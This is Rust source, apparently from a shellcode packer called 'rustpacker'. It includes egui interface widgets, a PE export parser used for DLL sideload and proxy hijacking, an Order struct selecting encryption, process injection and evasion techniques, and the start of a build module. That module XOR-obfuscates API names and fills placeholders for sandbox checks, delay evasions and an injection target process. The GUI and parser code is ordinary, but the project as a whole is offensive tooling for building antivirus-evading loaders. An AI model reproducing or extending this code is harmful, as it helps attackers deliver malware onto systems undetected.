egui::popup::popup_below_widget(ui, popup_id, &resp, |ui| {
ui.set_min_width(140.0);
Frame::none()
.fill(palette::bg_panel())
.stroke(Stroke::new(1.0, palette::border_strong()))
.rounding(radius::CARD)
.inner_margin(Margin::same(4.0))
.show(ui, |ui| {
for t in Theme::ALL {
let active = *t == *theme;
let item_label = t.label();
let item_resp = ui.add(
egui::SelectableLabel::new(
active,
RichText::new(format!(" {item_label}"))
.font(crate::gui::theme::font_sans(12.0))
.color(if active { palette::accent() } else { palette::text() }),
),
);
if item_resp.clicked() && *theme != *t {
*theme = *t;
changed = true;
ui.memory_mut(|m| m.close_popup());
}
}
});
});
changed
}
fn draw_pip(ui: &mut Ui, color: Color32) {
let size = Vec2::splat(8.0);
let (rect, _) = ui.allocate_exact_size(size, Sense::hover());
let p = ui.painter();
// Glow
p.circle_filled(rect.center(), 5.0, Color32::from_rgba_premultiplied(color.r(), color.g(), color.b(), 64));
// Solid pip
p.circle_filled(rect.center(), 3.5, color);
}
// ---------------------------------------------------------------- tab strip
pub fn tab_strip<T: PartialEq + Clone>(
ui: &mut Ui,
current: &mut T,
items: &[(T, &str)],
) {
Frame::none()
.fill(palette::bg_chrome())
.inner_margin(Margin {
left: space::LG, right: space::LG, top: 0.0, bottom: 0.0,
})
.show(ui, |ui| {
ui.horizontal(|ui| {
ui.spacing_mut().item_spacing.x = 0.0;
for (value, label) in items.iter() {
let active = current == value;
if tab_button(ui, label, active).clicked() {
*current = value.clone();
}
}
});
});
let r = ui.max_rect();
ui.painter().hline(
r.x_range(),
r.bottom(),
Stroke::new(1.0, palette::border_strong()),
);
}
fn tab_button(ui: &mut Ui, label: &str, active: bool) -> Response {
let pad = Vec2::new(space::LG, space::SM + 1.0);
let text_color = if active { palette::accent() } else { palette::text_muted() };
let upper = label.to_uppercase();
let font = crate::gui::theme::font_sans(11.0);
let galley = ui.painter().layout_no_wrap(upper.clone(), font.clone(), text_color);
let size = galley.size() + Vec2::new(pad.x * 2.0, pad.y * 2.0);
let (rect, resp) = ui.allocate_exact_size(size, Sense::click());
if active {
ui.painter().rect_filled(
rect,
Rounding::ZERO,
palette::accent_alpha(0x0a),
);
} else if resp.hovered() {
ui.painter().rect_filled(
rect,
Rounding::ZERO,
Color32::from_rgba_premultiplied(0xff, 0xff, 0xff, 0x05),
);
}
if active {
let underline_y = rect.bottom() - 1.0;
ui.painter().line_segment(
[egui::pos2(rect.left(), underline_y), egui::pos2(rect.right(), underline_y)],
Stroke::new(2.0, palette::accent()),
);
}
let hover_color = if resp.hovered() && !active { palette::text_label() } else { text_color };
ui.painter().text(rect.center(), Align2::CENTER_CENTER, upper, font, hover_color);
resp
}
// ---------------------------------------------------------------- section header
pub fn section_header(ui: &mut Ui, label: &str, count_suffix: Option<&str>) {
ui.horizontal(|ui| {
let (rect, _) =
ui.allocate_exact_size(Vec2::new(3.0, 14.0), Sense::hover());
ui.painter().rect_filled(rect, Rounding::same(1.0), palette::accent());
ui.add_space(space::XS + 2.0);
ui.label(
RichText::new(label.to_uppercase())
.font(crate::gui::theme::font_sans(10.0))
.color(palette::text())
.strong(),
);
if let Some(s) = count_suffix {
ui.with_layout(Layout::right_to_left(Align::Center), |ui| {
ui.label(
RichText::new(s.to_uppercase())
.font(crate::gui::theme::font_sans(10.0))
.color(palette::text_muted()),
);
});
}
});
ui.add_space(space::XS + 2.0);
}
// ---------------------------------------------------------------- card
pub fn card<R>(ui: &mut Ui, body: impl FnOnce(&mut Ui) -> R) -> R {
Frame::none()
.fill(palette::bg_panel())
.stroke(Stroke::new(1.0, palette::border()))
.rounding(radius::CARD)
.inner_margin(Margin::symmetric(space::MD + 2.0, space::MD))
.show(ui, body)
.inner
}
// ---------------------------------------------------------------- field row
pub fn field_row(ui: &mut Ui, label: &str, body: impl FnOnce(&mut Ui)) {
ui.horizontal(|ui| {
ui.add_sized(
Vec2::new(82.0, 22.0),
egui::Label::new(
RichText::new(label)
.font(crate::gui::theme::font_sans(11.0))
.color(palette::text_label()),
),
);
body(ui);
});
}
// ---------------------------------------------------------------- pill
#[derive(Clone, Copy, Debug)]
pub enum PillKind { Accent, Muted, Warn, Danger }
pub fn pill(ui: &mut Ui, text: &str, kind: PillKind) -> Response {
let (fg, bg, border) = match kind {
PillKind::Accent => (
palette::accent(),
palette::accent_alpha(0x22),
palette::accent_alpha(0x66),
),
PillKind::Muted => (
palette::text_label(),
palette::bg_panel_hi(),
palette::border_strong(),
),
PillKind::Warn => (
palette::warn(),
palette::warn_alpha(0x22),
palette::warn_alpha(0x66),
),
PillKind::Danger => (
palette::danger_hi(),
palette::danger_alpha(0x22),
palette::danger_alpha(0x66),
),
};
let font = crate::gui::theme::font_sans(9.0);
let text_up = text.to_uppercase();
let galley = ui.painter().layout_no_wrap(text_up.clone(), font.clone(), fg);
let pad = Vec2::new(8.0, 3.0);
let size = galley.size() + Vec2::new(pad.x * 2.0, pad.y * 2.0);
let (rect, resp) = ui.allocate_exact_size(size, Sense::hover());
ui.painter().rect(rect, Rounding::same(10.0), bg, Stroke::new(1.0, border));
ui.painter().text(
rect.center(),
Align2::CENTER_CENTER,
text_up,
font,
fg,
);
resp
}
// ---------------------------------------------------------------- segmented control
pub fn segmented<T: PartialEq + Clone>(
ui: &mut Ui,
current: &mut T,
items: &[(T, &str)],
) {
Frame::none()
.fill(palette::bg_input())
.stroke(Stroke::new(1.0, palette::border()))
.rounding(radius::INPUT)
.inner_margin(Margin::same(2.0))
.show(ui, |ui| {
ui.spacing_mut().item_spacing.x = 0.0;
ui.horizontal(|ui| {
for (value, label) in items.iter() {
let active = current == value;
if segment_button(ui, label, active).clicked() {
*current = value.clone();
}
}
});
});
}
fn segment_button(ui: &mut Ui, label: &str, active: bool) -> Response {
let font = crate::gui::theme::font_sans(11.0);
let fg = if active { palette::bg_base() } else { palette::text_label() };
let galley = ui.painter().layout_no_wrap(label.to_string(), font.clone(), fg);
let pad = Vec2::new(space::MD, space::XS);
let size = galley.size() + Vec2::new(pad.x * 2.0, pad.y * 2.0);
let (rect, resp) = ui.allocate_exact_size(size, Sense::click());
if active {
ui.painter().rect_filled(rect, Rounding::same(2.0), palette::accent());
} else if resp.hovered() {
ui.painter().rect_filled(
rect,
Rounding::same(2.0),
Color32::from_rgba_premultiplied(0xff, 0xff, 0xff, 0x08),
);
}
let final_fg = if active { palette::bg_base() } else if resp.hovered() { palette::text() } else { palette::text_label() };
let weight_font = if active { crate::gui::theme::font_mono_bold(11.0) } else { font };
ui.painter().text(rect.center(), Align2::CENTER_CENTER, label, weight_font, final_fg);
resp
}
// ---------------------------------------------------------------- step card (FlowCase)
#[derive(Clone, Copy, Debug)]
pub enum StepAccent { Normal, Warn, Danger }
pub struct StepView<'a> {
pub idx: u32,
pub title: &'a str,
pub pill_text: &'a str,
pub accent: StepAccent,
}
pub fn step_card(ui: &mut Ui, step: &StepView<'_>) {
let bar_color = match step.accent {
StepAccent::Normal => palette::accent(),
StepAccent::Warn => palette::warn(),
StepAccent::Danger => palette::danger(),
};
let pill_kind = match step.accent {
StepAccent::Normal => PillKind::Accent,
StepAccent::Warn => PillKind::Warn,
StepAccent::Danger => PillKind::Danger,
};
Frame::none()
.fill(palette::bg_panel())
.stroke(Stroke::new(1.0, palette::border()))
.rounding(radius::CARD)
.inner_margin(Margin::symmetric(space::MD + 2.0, space::SM + 2.0))
.show(ui, |ui| {
ui.horizontal(|ui| {
// Left accent bar
let bar_h = 18.0;
let (bar_rect, _) = ui.allocate_exact_size(Vec2::new(3.0, bar_h), Sense::hover());
ui.painter()
.rect_filled(bar_rect, Rounding::same(1.0), bar_color);
ui.add_space(space::SM);
// Step number
ui.label(
RichText::new(format!("{:02}", step.idx))
.font(crate::gui::theme::font_mono_bold(11.0))
.color(palette::text_muted()),
);
ui.add_space(space::SM);
// Title
ui.label(
RichText::new(step.title)
.font(crate::gui::theme::font_sans(13.0))
.color(palette::text())
.strong(),
);
// Right pill
ui.with_layout(Layout::right_to_left(Align::Center), |ui| {
pill(ui, step.pill_text, pill_kind);
});
});
});
}
pub fn step_connector(ui: &mut Ui) {
let avail = ui.available_width();
let x = ui.cursor().left() + 18.0 + 3.0; // align under the accent bar
let (rect, _) = ui.allocate_exact_size(Vec2::new(avail, 6.0), Sense::hover());
ui.painter().line_segment(
[egui::pos2(rect.left() + 18.0 + 1.5, rect.top()), egui::pos2(rect.left() + 18.0 + 1.5, rect.bottom())],
Stroke::new(1.0, palette::border_strong()),
);
let _ = x;
}
// ---------------------------------------------------------------- buttons
pub fn primary_button(ui: &mut Ui, label: &str) -> Response {
let font = crate::gui::theme::font_sans(11.0);
let galley = ui.painter().layout_no_wrap(label.to_string(), font.clone(), palette::bg_base());
let pad = Vec2::new(space::MD, space::XS + 2.0);
let size = galley.size() + Vec2::new(pad.x * 2.0, pad.y * 2.0);
let (rect, resp) = ui.allocate_exact_size(size, Sense::click());
let (fill, fg) = if resp.hovered() {
(palette::accent_hi(), palette::bg_base())
} else {
(palette::accent(), palette::bg_base())
};
ui.painter().rect_filled(rect, radius::INPUT, fill);
ui.painter().text(
rect.center(),
Align2::CENTER_CENTER,
label,
crate::gui::theme::font_mono_bold(11.0),
fg,
);
resp
}
pub fn primary_button_disabled(ui: &mut Ui, label: &str) -> Response {
let font = crate::gui::theme::font_sans(11.0);
let galley = ui.painter().layout_no_wrap(label.to_string(), font.clone(), palette::text_muted());
let pad = Vec2::new(space::MD, space::XS + 2.0);
let size = galley.size() + Vec2::new(pad.x * 2.0, pad.y * 2.0);
let (rect, resp) = ui.allocate_exact_size(size, Sense::hover());
ui.painter().rect(
rect,
radius::INPUT,
palette::bg_panel(),
Stroke::new(1.0, palette::border()),
);
ui.painter().text(
rect.center(),
Align2::CENTER_CENTER,
label,
crate::gui::theme::font_mono_bold(11.0),
palette::text_muted(),
);
resp
}
pub fn ghost_button(ui: &mut Ui, label: &str) -> Response {
let font = crate::gui::theme::font_sans(11.0);
let galley = ui.painter().layout_no_wrap(label.to_string(), font.clone(), palette::accent());
let pad = Vec2::new(space::SM + 2.0, space::XS + 1.0);
let size = galley.size() + Vec2::new(pad.x * 2.0, pad.y * 2.0);
let (rect, resp) = ui.allocate_exact_size(size, Sense::click());
let stroke_color = if resp.hovered() { palette::accent_hi() } else { palette::accent() };
let fg = stroke_color;
let fill = if resp.hovered() {
palette::accent_alpha(0x14)
} else {
Color32::TRANSPARENT
};
ui.painter().rect(rect, radius::INPUT, fill, Stroke::new(1.0, stroke_color));
ui.painter().text(
rect.center(),
Align2::CENTER_CENTER,
label,
font,
fg,
);
resp
}
// ---------------------------------------------------------------- terminal view
pub struct TerminalOpts {
pub max_rows: usize,
pub min_rows: usize,
}
impl Default for TerminalOpts {
fn default() -> Self { Self { max_rows: 18, min_rows: 14 } }
}
pub fn terminal_view(ui: &mut Ui, log: &str, opts: TerminalOpts) {
Frame::none()
.fill(Color32::from_rgb(0x0a, 0x09, 0x07))
.stroke(Stroke::new(1.0, palette::border()))
.rounding(radius::CARD)
.inner_margin(Margin::symmetric(space::MD + 2.0, space::SM + 4.0))
.show(ui, |ui| {
let row_h = ui.text_style_height(&TextStyle::Monospace);
let min_h = row_h * opts.min_rows as f32;
let max_h = row_h * opts.max_rows as f32;
egui::ScrollArea::vertical()
.stick_to_bottom(true)
.min_scrolled_height(min_h)
.max_height(max_h)
.auto_shrink([false, false])
.show(ui, |ui| {
ui.set_min_width(ui.available_width());
for line in log.lines() {
draw_log_line(ui, line);
}
// Trailing newline → empty terminal line
if log.is_empty() {
ui.label(
RichText::new("waiting for build…")
.font(crate::gui::theme::font_mono(12.0))
.color(palette::text_muted()),
);
}
});
});
}
fn draw_log_line(ui: &mut Ui, line: &str) {
let (prefix_color, prefix, rest) = classify_line(line);
ui.horizontal(|ui| {
ui.spacing_mut().item_spacing.x = 4.0;
if !prefix.is_empty() {
ui.label(
RichText::new(prefix)
.font(crate::gui::theme::font_mono_bold(12.0))
.color(prefix_color),
);
ui.label(
RichText::new(rest)
.font(crate::gui::theme::font_mono(12.0))
.color(palette::text()),
);
} else {
ui.label(
RichText::new(line)
.font(crate::gui::theme::font_mono(12.0))
.color(palette::text_dim()),
);
}
});
}
fn classify_line(line: &str) -> (Color32, &str, &str) {
if let Some(rest) = line.strip_prefix("[*]") {
(palette::accent(), "[*]", rest)
} else if let Some(rest) = line.strip_prefix("[+]") {
(palette::ok(), "[+]", rest)
} else if let Some(rest) = line.strip_prefix("[!]") {
(palette::warn(), "[!]", rest)
} else if let Some(rest) = line.strip_prefix("[-]") {
(palette::danger_hi(), "[-]", rest)
} else {
(palette::text_dim(), "", line)
}
}
// ---------------------------------------------------------------- phase progress
pub fn phase_progress(ui: &mut Ui, current: u32, total: u32, label: &str) {
Frame::none()
.fill(palette::bg_panel())
.stroke(Stroke::new(1.0, palette::border()))
.rounding(radius::INPUT)
.inner_margin(Margin::symmetric(space::MD, space::SM))
.show(ui, |ui| {
ui.horizontal(|ui| {
ui.label(
RichText::new(format!("PHASE {current}/{total}"))
.font(crate::gui::theme::font_mono_bold(11.0))
.color(palette::accent()),
);
ui.add_space(space::SM);
let avail = ui.available_width() - 160.0;
let (rect, _) =
ui.allocate_exact_size(Vec2::new(avail.max(40.0), 4.0), Sense::hover());
ui.painter()
.rect_filled(rect, Rounding::same(2.0), palette::bg_input());
let frac = (current as f32 / total.max(1) as f32).clamp(0.0, 1.0);
let fill_w = rect.width() * frac;
if fill_w > 0.0 {
let fill_rect = Rect::from_min_size(rect.min, Vec2::new(fill_w, rect.height()));
ui.painter()
.rect_filled(fill_rect, Rounding::same(2.0), palette::accent());
}
ui.with_layout(Layout::right_to_left(Align::Center), |ui| {
ui.label(
RichText::new(label)
.font(crate::gui::theme::font_sans(11.0))
.color(palette::text_dim()),
);
});
});
});
}
// ---------------------------------------------------------------- text input
pub fn input_singleline(ui: &mut Ui, buf: &mut String, hint: &str, width: f32) -> Response {
let resp = ui.add(
egui::TextEdit::singleline(buf)
.desired_width(width)
.hint_text(hint)
.font(FontId::new(12.0, FontFamily::Monospace))
.text_color(palette::text())
.margin(Vec2::new(space::SM, space::XS + 1.0)),
);
resp
}
pub fn input_readonly(ui: &mut Ui, value: &str, width: f32) {
let mut s = value.to_string();
ui.add(
egui::TextEdit::singleline(&mut s)
.desired_width(width)
.interactive(false)
.font(FontId::new(12.0, FontFamily::Monospace))
.text_color(palette::text_dim())
.margin(Vec2::new(space::SM, space::XS + 1.0)),
);
}
// ---------------------------------------------------------------- description
pub fn description(ui: &mut Ui, text: &str) {
ui.label(
RichText::new(text)
.font(crate::gui::theme::font_sans(11.0))
.color(palette::text_dim()),
);
}
pub fn meta_line(ui: &mut Ui, text: &str) {
ui.label(
RichText::new(text)
.font(crate::gui::theme::font_mono(10.5))
.color(palette::text_muted()),
);
}
// ---------------------------------------------------------------- scanlines
/// Paints a faint horizontal scanline pattern across `area` on a foreground
/// layer. Used by the Cyberpunk theme over the central panel.
pub fn paint_scanlines(ctx: &egui::Context, area: Rect) {
let painter = ctx.layer_painter(LayerId::new(Order::Foreground, Id::new("rp_scanlines")));
let accent = palette::accent();
let line_color = Color32::from_rgba_premultiplied(
((accent.r() as u16 * 0x0c) / 255) as u8,
((accent.g() as u16 * 0x0c) / 255) as u8,
((accent.b() as u16 * 0x0c) / 255) as u8,
0x0c,
);
let mut y = area.top();
while y < area.bottom() {
painter.line_segment(
[egui::pos2(area.left(), y), egui::pos2(area.right(), y)],
Stroke::new(1.0, line_color),
);
y += 3.0;
}
}
// ---------------------------------------------------------------- warn banner
pub fn warn_banner(ui: &mut Ui, text: &str) {
Frame::none()
.fill(palette::danger_alpha(0x14))
.stroke(Stroke::new(1.0, palette::danger_alpha(0x55)))
.rounding(radius::INPUT)
.inner_margin(Margin::symmetric(space::SM + 2.0, space::SM))
.show(ui, |ui| {
ui.horizontal(|ui| {
ui.label(
RichText::new("")
.font(crate::gui::theme::font_sans(12.0))
.color(palette::danger_hi()),
);
ui.add_space(4.0);
ui.label(
RichText::new(text)
.font(crate::gui::theme::font_sans(11.0))
.color(palette::danger_hi()),
);
});
});
}
+10
View File
@@ -0,0 +1,10 @@
pub mod build_log;
pub mod compiler;
pub mod gui;
pub mod order;
pub mod pe_parser;
pub mod puzzle;
pub mod shellcode_reader;
pub mod sideload;
pub mod techniques;
pub mod tools;
+40
View File
@@ -0,0 +1,40 @@
use std::collections::HashMap;
use std::path::PathBuf;
#[derive(Debug, Clone, PartialEq)]
pub enum OutputFormat { Exe, Dll, DllSideload }
impl OutputFormat {
pub fn extension(&self) -> &'static str {
match self {
Self::Exe => "exe",
Self::Dll | Self::DllSideload => "dll",
}
}
}
#[derive(Debug, Clone, PartialEq, Eq)]
pub enum SideloadMode { Sideload, Proxy }
#[derive(Debug, Clone)]
pub struct SideloadConfig {
pub target_dll: PathBuf,
pub hijack_export: String,
pub mode: SideloadMode,
/// For Proxy mode (relative path): the renamed DLL the proxy forwards to (e.g. "Shaping.dll").
pub renamed: String,
/// For Proxy mode (absolute path): use target_dll's full path directly in DLL_NAME.
pub use_absolute_path: bool,
}
#[derive(Debug, Clone)]
pub struct Order {
pub shellcode_path: PathBuf,
pub format: OutputFormat,
pub encryption_id: String,
pub injection_id: String,
pub evasions: Vec<String>,
pub params: HashMap<String, String>, // key = "<technique_id>.<param_name>"
pub output: Option<PathBuf>,
pub sideload: Option<SideloadConfig>,
}
+322
View File
@@ -0,0 +1,322 @@
use std::fs;
use std::path::Path;
#[derive(Debug, Clone)]
#[allow(dead_code)]
pub struct DllExport {
pub name: Option<String>,
pub ordinal: u16,
}
fn read_u16(data: &[u8], offset: usize) -> u16 {
u16::from_le_bytes([data[offset], data[offset + 1]])
}
fn read_u32(data: &[u8], offset: usize) -> u32 {
u32::from_le_bytes([data[offset], data[offset + 1], data[offset + 2], data[offset + 3]])
}
fn rva_to_offset(sections: &[(u32, u32, u32)], rva: u32) -> Option<usize> {
for &(vaddr, vsize, raw_offset) in sections {
if rva >= vaddr && rva < vaddr + vsize {
return Some((rva - vaddr + raw_offset) as usize);
}
}
None
}
fn read_cstring(data: &[u8], offset: usize) -> Option<String> {
let end = data[offset..].iter().position(|&b| b == 0)?;
String::from_utf8(data[offset..offset + end].to_vec()).ok()
}
fn parse_sections(data: &[u8], pe_offset: usize, num_sections: u16) -> Vec<(u32, u32, u32)> {
let opt_header_size = read_u16(data, pe_offset + 20) as usize;
let section_start = pe_offset + 24 + opt_header_size;
(0..num_sections as usize)
.map(|i| {
let base = section_start + i * 40;
let vaddr = read_u32(data, base + 12);
let vsize = read_u32(data, base + 8);
let raw_offset = read_u32(data, base + 20);
(vaddr, vsize, raw_offset)
})
.collect()
}
pub fn parse_exports(dll_path: &Path) -> Result<Vec<DllExport>, String> {
let data = fs::read(dll_path).map_err(|e| format!("Failed to read DLL: {}", e))?;
if data.len() < 64 || read_u16(&data, 0) != 0x5A4D {
return Err("Not a valid PE file (bad MZ signature)".into());
}
let pe_offset = read_u32(&data, 0x3C) as usize;
if data.len() < pe_offset + 4 || read_u32(&data, pe_offset) != 0x00004550 {
return Err("Not a valid PE file (bad PE signature)".into());
}
let magic = read_u16(&data, pe_offset + 24);
let export_dir_rva_offset = match magic {
0x10b => pe_offset + 24 + 96, // PE32
0x20b => pe_offset + 24 + 112, // PE32+
_ => return Err(format!("Unknown PE optional header magic: 0x{:04x}", magic)),
};
let num_sections = read_u16(&data, pe_offset + 6);
let sections = parse_sections(&data, pe_offset, num_sections);
let export_rva = read_u32(&data, export_dir_rva_offset);
let export_size = read_u32(&data, export_dir_rva_offset + 4);
if export_rva == 0 || export_size == 0 {
return Ok(vec![]);
}
let export_offset =
rva_to_offset(&sections, export_rva).ok_or("Cannot resolve export directory RVA")?;
let num_functions = read_u32(&data, export_offset + 20) as usize;
let num_names = read_u32(&data, export_offset + 24) as usize;
let ordinal_base = read_u32(&data, export_offset + 16) as u16;
let addr_table_rva = read_u32(&data, export_offset + 28);
let name_ptr_rva = read_u32(&data, export_offset + 32);
let ordinal_table_rva = read_u32(&data, export_offset + 36);
let addr_table_off =
rva_to_offset(&sections, addr_table_rva).ok_or("Cannot resolve address table RVA")?;
let name_ptr_off =
rva_to_offset(&sections, name_ptr_rva).ok_or("Cannot resolve name pointer RVA")?;
let ordinal_off =
rva_to_offset(&sections, ordinal_table_rva).ok_or("Cannot resolve ordinal table RVA")?;
let mut name_for_index: Vec<Option<String>> = vec![None; num_functions];
for i in 0..num_names {
let name_rva = read_u32(&data, name_ptr_off + i * 4);
let ord_index = read_u16(&data, ordinal_off + i * 2) as usize;
if let Some(off) = rva_to_offset(&sections, name_rva) {
if let Some(name) = read_cstring(&data, off) {
if ord_index < num_functions {
name_for_index[ord_index] = Some(name);
}
}
}
}
let export_end_rva = export_rva + export_size;
let mut exports = Vec::new();
for i in 0..num_functions {
let func_rva = read_u32(&data, addr_table_off + i * 4);
if func_rva == 0 {
continue;
}
let is_forwarder = func_rva >= export_rva && func_rva < export_end_rva;
if is_forwarder {
continue;
}
exports.push(DllExport {
name: name_for_index[i].clone(),
ordinal: ordinal_base + i as u16,
});
}
Ok(exports)
}
pub fn dll_stem(dll_path: &Path) -> String {
let s = dll_path
.to_str()
.unwrap_or("original");
let filename = s.rsplit(|c| c == '/' || c == '\\').next().unwrap_or(s);
filename
.strip_suffix(".dll")
.or_else(|| filename.strip_suffix(".DLL"))
.unwrap_or(filename)
.to_string()
}
#[cfg(test)]
mod tests {
use super::*;
use std::io::Write;
fn build_minimal_pe_dll(exports: &[&str]) -> Vec<u8> {
let mut buf = vec![0u8; 8192];
buf[0] = 0x4D; // M
buf[1] = 0x5A; // Z
let pe_offset: u32 = 0x80;
buf[0x3C] = pe_offset as u8;
let pe = pe_offset as usize;
buf[pe] = 0x50; // P
buf[pe + 1] = 0x45; // E
buf[pe + 2] = 0x00;
buf[pe + 3] = 0x00;
// COFF header
buf[pe + 4] = 0x64; buf[pe + 5] = 0x86; // Machine: x86_64
buf[pe + 6] = 0x01; buf[pe + 7] = 0x00; // 1 section
let opt_header_size: u16 = 112 + 16 * 16;
buf[pe + 20] = (opt_header_size & 0xFF) as u8;
buf[pe + 21] = (opt_header_size >> 8) as u8;
buf[pe + 22] = 0x22; buf[pe + 23] = 0x20; // DLL characteristics
// Optional header
let opt = pe + 24;
buf[opt] = 0x0B; buf[opt + 1] = 0x02; // PE32+ magic
let section_rva: u32 = 0x1000;
let section_raw: u32 = 0x400; // after all headers
let section_size: u32 = 0x1000;
// Export directory RVA at opt + 112
let export_dir_offset = opt + 112;
// Section header
let sec = pe + 24 + opt_header_size as usize;
buf[sec..sec + 8].copy_from_slice(b".edata\0\0");
buf[sec + 8..sec + 12].copy_from_slice(&section_size.to_le_bytes());
buf[sec + 12..sec + 16].copy_from_slice(&section_rva.to_le_bytes());
buf[sec + 16..sec + 20].copy_from_slice(&section_size.to_le_bytes());
buf[sec + 20..sec + 24].copy_from_slice(&section_raw.to_le_bytes());
// Build export data at file offset section_raw, RVA section_rva
let num_exports = exports.len();
let export_data_start = section_raw as usize;
let edt = export_data_start; // Export Directory Table
// Export dir is 40 bytes
// Then: AddressOfFunctions array, AddressOfNames array, AddressOfNameOrdinals array, then name strings
let addr_table_off = 40usize;
let name_ptr_off = addr_table_off + num_exports * 4;
let ordinal_table_off = name_ptr_off + num_exports * 4;
let strings_off = ordinal_table_off + num_exports * 2;
// Write export directory
let ordinal_base: u32 = 1;
// NumberOfFunctions
buf[edt + 20..edt + 24].copy_from_slice(&(num_exports as u32).to_le_bytes());
// NumberOfNames
buf[edt + 24..edt + 28].copy_from_slice(&(num_exports as u32).to_le_bytes());
// OrdinalBase
buf[edt + 16..edt + 20].copy_from_slice(&ordinal_base.to_le_bytes());
// AddressOfFunctions RVA
let addr_table_rva = section_rva + addr_table_off as u32;
buf[edt + 28..edt + 32].copy_from_slice(&addr_table_rva.to_le_bytes());
// AddressOfNames RVA
let name_ptr_rva = section_rva + name_ptr_off as u32;
buf[edt + 32..edt + 36].copy_from_slice(&name_ptr_rva.to_le_bytes());
// AddressOfNameOrdinals RVA
let ordinal_rva = section_rva + ordinal_table_off as u32;
buf[edt + 36..edt + 40].copy_from_slice(&ordinal_rva.to_le_bytes());
let mut string_cursor = strings_off;
for (i, name) in exports.iter().enumerate() {
// Address table: dummy non-zero RVA (points somewhere in section, not in export dir range)
let func_rva: u32 = section_rva + 0xD00 + i as u32;
buf[edt + addr_table_off + i * 4..edt + addr_table_off + i * 4 + 4]
.copy_from_slice(&func_rva.to_le_bytes());
// Name pointer table: RVA of string
let name_string_rva = section_rva + string_cursor as u32;
buf[edt + name_ptr_off + i * 4..edt + name_ptr_off + i * 4 + 4]
.copy_from_slice(&name_string_rva.to_le_bytes());
// Ordinal table
buf[edt + ordinal_table_off + i * 2] = i as u8;
buf[edt + ordinal_table_off + i * 2 + 1] = 0;
// Write name string
buf[edt + string_cursor..edt + string_cursor + name.len()]
.copy_from_slice(name.as_bytes());
buf[edt + string_cursor + name.len()] = 0;
string_cursor += name.len() + 1;
}
// Export directory RVA and size
let export_total_size = string_cursor as u32;
buf[export_dir_offset..export_dir_offset + 4]
.copy_from_slice(&section_rva.to_le_bytes());
buf[export_dir_offset + 4..export_dir_offset + 8]
.copy_from_slice(&export_total_size.to_le_bytes());
buf
}
fn write_temp_dll(name: &str, data: &[u8]) -> std::path::PathBuf {
let dir = std::env::temp_dir().join("rustpacker_test_pe_parser");
fs::create_dir_all(&dir).unwrap();
let path = dir.join(name);
let mut f = fs::File::create(&path).unwrap();
f.write_all(data).unwrap();
path
}
#[test]
fn test_parse_named_exports() {
let pe = build_minimal_pe_dll(&["GetFileVersionInfoA", "GetFileVersionInfoW", "VerQueryValueW"]);
let path = write_temp_dll("named_exports.dll", &pe);
let exports = parse_exports(&path).unwrap();
assert_eq!(exports.len(), 3);
assert_eq!(exports[0].name.as_deref(), Some("GetFileVersionInfoA"));
assert_eq!(exports[1].name.as_deref(), Some("GetFileVersionInfoW"));
assert_eq!(exports[2].name.as_deref(), Some("VerQueryValueW"));
assert_eq!(exports[0].ordinal, 1);
assert_eq!(exports[1].ordinal, 2);
assert_eq!(exports[2].ordinal, 3);
fs::remove_file(&path).ok();
}
#[test]
fn test_parse_no_exports() {
let mut pe = build_minimal_pe_dll(&[]);
// Zero out the export directory RVA
let pe_offset = read_u32(&pe, 0x3C) as usize;
let export_dir_off = pe_offset + 24 + 112;
pe[export_dir_off..export_dir_off + 8].copy_from_slice(&[0; 8]);
let path = write_temp_dll("no_exports.dll", &pe);
let exports = parse_exports(&path).unwrap();
assert!(exports.is_empty());
fs::remove_file(&path).ok();
}
#[test]
fn test_parse_invalid_file() {
let path = write_temp_dll("not_a_dll.bin", b"this is not a PE file");
let result = parse_exports(&path);
assert!(result.is_err());
fs::remove_file(&path).ok();
}
#[test]
fn test_dll_stem() {
assert_eq!(dll_stem(Path::new("C:\\Windows\\System32\\version.dll")), "version");
assert_eq!(dll_stem(Path::new("/tmp/mylib.dll")), "mylib");
assert_eq!(dll_stem(Path::new("test")), "test");
}
#[test]
fn test_parse_single_export() {
let pe = build_minimal_pe_dll(&["DllGetClassObject"]);
let path = write_temp_dll("single_export.dll", &pe);
let exports = parse_exports(&path).unwrap();
assert_eq!(exports.len(), 1);
assert_eq!(exports[0].name.as_deref(), Some("DllGetClassObject"));
assert_eq!(exports[0].ordinal, 1);
fs::remove_file(&path).ok();
}
}
+196
View File
@@ -0,0 +1,196 @@
use crate::order::{Order, OutputFormat};
use crate::sideload;
use crate::techniques::{self, BuildContext, Category};
use fs_extra::dir::{copy, CopyOptions};
use std::collections::HashMap;
use std::fs::{self, OpenOptions};
use std::io::prelude::*;
use std::path::{Path, PathBuf};
use std::time::{SystemTime, UNIX_EPOCH};
use crate::tools::random_u8;
const OUTPUT_DIR: &str = "shared";
fn obfuscate_api_name(name: &str, key: u8) -> String {
let bytes: Vec<String> = name.bytes().map(|b| format!("0x{:02x}", b ^ key)).collect();
format!("[{}]", bytes.join(", "))
}
fn non_zero_random_key() -> u8 {
loop { let k = random_u8(); if k != 0 { return k; } }
}
fn search_and_replace(path: &Path, search: &str, replace: &str) -> Result<(), Box<dyn std::error::Error>> {
let file_content = fs::read_to_string(path)?;
let new_content = file_content.replace(search, replace);
let mut file = OpenOptions::new().write(true).truncate(true).open(path)?;
file.write_all(new_content.as_bytes())?;
Ok(())
}
fn create_root_folder(parent: &Path) -> Result<PathBuf, Box<dyn std::error::Error>> {
let timestamp = SystemTime::now().duration_since(UNIX_EPOCH)?.as_secs();
let folder_name = format!("output_{}", timestamp);
crate::blog!("[+] Creating output folder: {}", &folder_name);
let result_path = parent.join(folder_name);
fs::create_dir_all(&result_path)?;
Ok(result_path)
}
fn copy_template(source: &Path, dest: &Path) -> Result<(), Box<dyn std::error::Error>> {
let options = CopyOptions { content_only: true, ..Default::default() };
copy(source, dest, &options)?;
Ok(())
}
fn default_replacements(order: &Order) -> HashMap<&'static str, String> {
let mut r: HashMap<&'static str, String> = HashMap::new();
r.insert("{{TARGET_PROCESS}}", "dllhost.exe".to_string()); // overwritten by injection.apply()
r.insert("{{SANDBOX}}", String::new());
r.insert("{{SANDBOX_IMPORTS}}", String::new());
r.insert("{{DLL_MAIN}}", String::new());
r.insert("{{DLL_FORMAT}}", String::new());
r.insert("{{INJECTION_HELPERS}}", String::new());
r.insert("{{CALLBACK_INVOKE}}", String::new());
// nt_delay evasion placeholders — empty unless the evasion is enabled.
r.insert("{{NT_DELAY_AT_START}}", String::new());
r.insert("{{NT_DELAY_STEP}}", String::new());
r.insert("{{NT_DELAY_FINAL}}", String::new());
let api_key = non_zero_random_key();
r.insert("{{API_KEY}}", format!("0x{:02x}", api_key));
